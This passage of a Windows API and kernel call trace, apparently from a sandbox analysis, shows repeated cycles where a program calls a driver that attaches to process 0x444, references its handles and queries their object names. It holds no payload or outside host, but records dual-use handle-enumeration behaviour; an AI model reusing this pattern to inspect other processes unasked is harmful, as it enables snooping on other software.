PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.880] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0070.880] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.880] PsReleaseProcessExitSynchronization () returned 0x2 [0070.880] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.880] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80039b8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.880] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0070.880] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.880] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.880] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.880] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0070.880] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.880] PsAcquireProcessExitSynchronization () returned 0x0 [0070.880] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.880] ObReferenceObjectByHandle (in: Handle=0x418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aaf2e0, HandleInformation=0x0) returned 0x0 [0070.880] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.880] PsReleaseProcessExitSynchronization () returned 0x2 [0070.880] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.880] ObQueryNameString (in: Object=0xfffff8a001aaf2e0, ObjectNameInfo=0xfffffa80039b9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.880] ObfDereferenceObject (Object=0xfffff8a001aaf2e0) returned 0x2 [0070.880] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.880] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.880] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.880] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0070.880] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.880] PsAcquireProcessExitSynchronization () returned 0x0 [0070.880] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.880] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aa1cc0, HandleInformation=0x0) returned 0x0 [0070.880] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.881] PsReleaseProcessExitSynchronization () returned 0x2 [0070.881] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.881] ObQueryNameString (in: Object=0xfffff8a001aa1cc0, ObjectNameInfo=0xfffffa80039ba044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039ba044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.881] ObfDereferenceObject (Object=0xfffff8a001aa1cc0) returned 0x2 [0070.881] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.881] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.881] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xfa, lpOverlapped=0x0) returned 1 [0070.881] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.881] PsAcquireProcessExitSynchronization () returned 0x0 [0070.881] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.881] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001aa1c00, HandleInformation=0x0) returned 0x0 [0070.881] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.881] PsReleaseProcessExitSynchronization () returned 0x2 [0070.881] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.881] ObQueryNameString (in: Object=0xfffff8a001aa1c00, ObjectNameInfo=0xfffffa80039bb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039bb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.881] ObfDereferenceObject (Object=0xfffff8a001aa1c00) returned 0x2 [0070.881] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.881] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.881] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0070.881] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.881] PsAcquireProcessExitSynchronization () returned 0x0 [0070.881] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.881] ObReferenceObjectByHandle (in: Handle=0x484, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020b9880, HandleInformation=0x0) returned 0x0 [0070.881] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.881] PsReleaseProcessExitSynchronization () returned 0x2 [0070.881] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.881] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bd044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bd044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.881] ObfDereferenceObject (Object=0xfffffa80020b9880) returned 0xe [0070.881] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.882] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.882] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0070.882] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.882] PsAcquireProcessExitSynchronization () returned 0x0 [0070.882] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.882] ObReferenceObjectByHandle (in: Handle=0x494, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0070.882] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.882] PsReleaseProcessExitSynchronization () returned 0x2 [0070.882] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.882] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa80039be044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039be044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.882] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x2 [0070.882] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.882] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.882] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0070.882] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.882] PsAcquireProcessExitSynchronization () returned 0x0 [0070.882] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.882] ObReferenceObjectByHandle (in: Handle=0x4ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0070.882] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.882] PsReleaseProcessExitSynchronization () returned 0x2 [0070.882] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.882] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80039bf044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039bf044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.882] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0070.882] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.882] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.882] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.882] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.882] PsAcquireProcessExitSynchronization () returned 0x0 [0070.882] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.883] ObReferenceObjectByHandle (in: Handle=0x4c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002004d00, HandleInformation=0x0) returned 0x0 [0070.883] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.883] PsReleaseProcessExitSynchronization () returned 0x2 [0070.883] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.883] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.883] ObfDereferenceObject (Object=0xfffffa8002004d00) returned 0x1 [0070.883] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.883] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.883] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0070.883] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.883] PsAcquireProcessExitSynchronization () returned 0x0 [0070.883] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.883] ObReferenceObjectByHandle (in: Handle=0x4cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800206b070, HandleInformation=0x0) returned 0x0 [0070.883] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.883] PsReleaseProcessExitSynchronization () returned 0x2 [0070.883] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.883] ObQueryNameString (in: Object=0xfffffa800206b070, ObjectNameInfo=0xfffffa80039c1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.883] ObfDereferenceObject (Object=0xfffffa800206b070) returned 0x11 [0070.883] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.883] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.883] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.883] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.883] PsAcquireProcessExitSynchronization () returned 0x0 [0070.883] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.883] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a28d00, HandleInformation=0x0) returned 0x0 [0070.883] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.883] PsReleaseProcessExitSynchronization () returned 0x2 [0070.883] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.883] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.883] ObfDereferenceObject (Object=0xfffffa8001a28d00) returned 0x1 [0070.883] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.884] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.884] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.884] PsAcquireProcessExitSynchronization () returned 0x0 [0070.884] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.884] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035185e0, HandleInformation=0x0) returned 0x0 [0070.884] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.884] PsReleaseProcessExitSynchronization () returned 0x2 [0070.884] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.884] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.884] ObfDereferenceObject (Object=0xfffffa80035185e0) returned 0x1 [0070.884] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.884] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0070.884] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.884] PsAcquireProcessExitSynchronization () returned 0x0 [0070.884] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.884] ObReferenceObjectByHandle (in: Handle=0x5a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0070.884] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.884] PsReleaseProcessExitSynchronization () returned 0x2 [0070.884] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.884] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80039c4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.884] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xb [0070.884] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.884] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0070.884] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.884] PsAcquireProcessExitSynchronization () returned 0x0 [0070.884] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.884] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0070.885] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.885] PsReleaseProcessExitSynchronization () returned 0x2 [0070.885] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.885] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa80039c5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.885] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0070.885] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.885] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.885] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0070.885] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.885] PsAcquireProcessExitSynchronization () returned 0x0 [0070.885] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.885] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003532dd0, HandleInformation=0x0) returned 0x0 [0070.885] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.885] PsReleaseProcessExitSynchronization () returned 0x2 [0070.885] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.885] ObQueryNameString (in: Object=0xfffffa8003532dd0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.885] ObfDereferenceObject (Object=0xfffffa8003532dd0) returned 0x11 [0070.885] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.885] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.885] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0070.885] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.885] PsAcquireProcessExitSynchronization () returned 0x0 [0070.885] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.885] ObReferenceObjectByHandle (in: Handle=0x610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800354bf20, HandleInformation=0x0) returned 0x0 [0070.885] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.885] PsReleaseProcessExitSynchronization () returned 0x2 [0070.885] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.885] ObQueryNameString (in: Object=0xfffffa800354bf20, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.885] ObfDereferenceObject (Object=0xfffffa800354bf20) returned 0x11 [0070.886] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.886] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.886] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0070.886] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.886] PsAcquireProcessExitSynchronization () returned 0x0 [0070.886] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.886] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032b7610, HandleInformation=0x0) returned 0x0 [0070.886] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.886] PsReleaseProcessExitSynchronization () returned 0x2 [0070.886] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.886] ObQueryNameString (in: Object=0xfffffa80032b7610, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.886] ObfDereferenceObject (Object=0xfffffa80032b7610) returned 0x1 [0070.886] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.886] 